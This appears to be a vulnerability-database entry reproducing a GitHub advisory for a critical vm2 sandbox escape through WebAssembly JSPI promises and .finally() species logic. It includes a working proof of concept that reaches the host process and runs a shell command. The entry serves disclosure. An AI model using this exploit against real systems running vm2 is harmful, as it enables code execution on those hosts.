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Browse / AI Framework and Platform Flaws / CVE-2026-47210

vm2 sandbox escape via JSPI-backed Promise `.finally()` species bypass

CVE-2026-47210 ยท 2026-05-29 critical

Class
AI Framework and Platform Flaws (filed by a model that read the advisory)
Technique
Sandbox escape
Affected
vm2 (npm)
Gets past
Sandbox or allowlist
CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
EPSS
1.7% chance of exploitation in 30 days

How it works, in short

A JavaScript sandbox escape where a host-originated rejection from a WebAssembly promising path reaches host constructors through Promise finally species logic. (Our summary, written by a model. The source text is below.)

Details

Summary

A sandbox escape vulnerability in vm2 allows arbitrary code execution in the host process when untrusted code is executed with async support on runtimes exposing WebAssembly JSPI (WebAssembly.promising / WebAssembly.Suspending). In the tested configuration, a JSPI-backed Promise can reach Promise.prototype.finally() in a way that bypasses the expected Promise-species hardening and exposes a host-originated rejection object to attacker-controlled species logic, breaking the sandbox boundary.

This is a critical sandbox escape: any application that treats vm2 as a security boundary may be fully compromised.

Details

On node26, JSPI-backed Promises created through WebAssembly.promising(...) do not behave like ordinary sandbox Promises.

That path yields a host-originated TypeError during JSPI processing. Inside attacker-controlled species logic reached through .finally(), the rejection object exposes a usable host constructor chain. In the tested environment, the rejection object's constructor path can be used to reach host process, which leads to arbitrary code execution in the host process.

This behavior is specific to the JSPI / .finally() interaction. In contrast, the corresponding then / catch paths still appeared to route through vm2's expected localPromise machinery in my testing.

PoC

Environment: node:26-bookworm

const {VM} = require("vm2");
const vm = new VM();
console.log(vm.run(`
(()=>{let b=Uint8Array.of(0,97,115,109,1,0,0,0,1,4,1,96,0,0,2,7,1,1,109,1,102,0,0,3,2,1,0,7,7,1,3,114,117,110,0,1,10,6,1,4,0,16,0,11);WebAssembly.instantiate(b,{m:{f:new WebAssembly.Suspending(()=>WebAssembly.compileStreaming(Promise.resolve(0)))}}).then(r=>{let p=WebAssembly.promising(r.instance.exports.run)();class F{constructor(x){this.s=0;this.q=[];x(v=>{this.s=1;this.v=v;for(let i of this.q)if(i[0])i[0](v)},e=>{
    let P=e.constructor.constructor('return process')()
    P.mainModule.require('child_process').execSync('touch pwned');
    this.s=2;this.v=e;for(let i of this.q)if(i[1])i[1](e)})}then(f,r){if(this.s==1)return f?f(this.v):this.v;if(this.s==2){if(r)return r(this.v);throw this.v}this.q.push([f,r]);return 0}}Object.defineProperty(F,Symbol.species,{get(){return F}});Object.defineProperty(p,'constructor',{get(){return F}});p.finally(()=>{})});return 1})()
`));

Impact

This is a sandbox escape leading to arbitrary code execution in the host process.

Who is impacted:

Practical impact:

References

Source: GitHub Advisory Database, used under CC BY 4.0.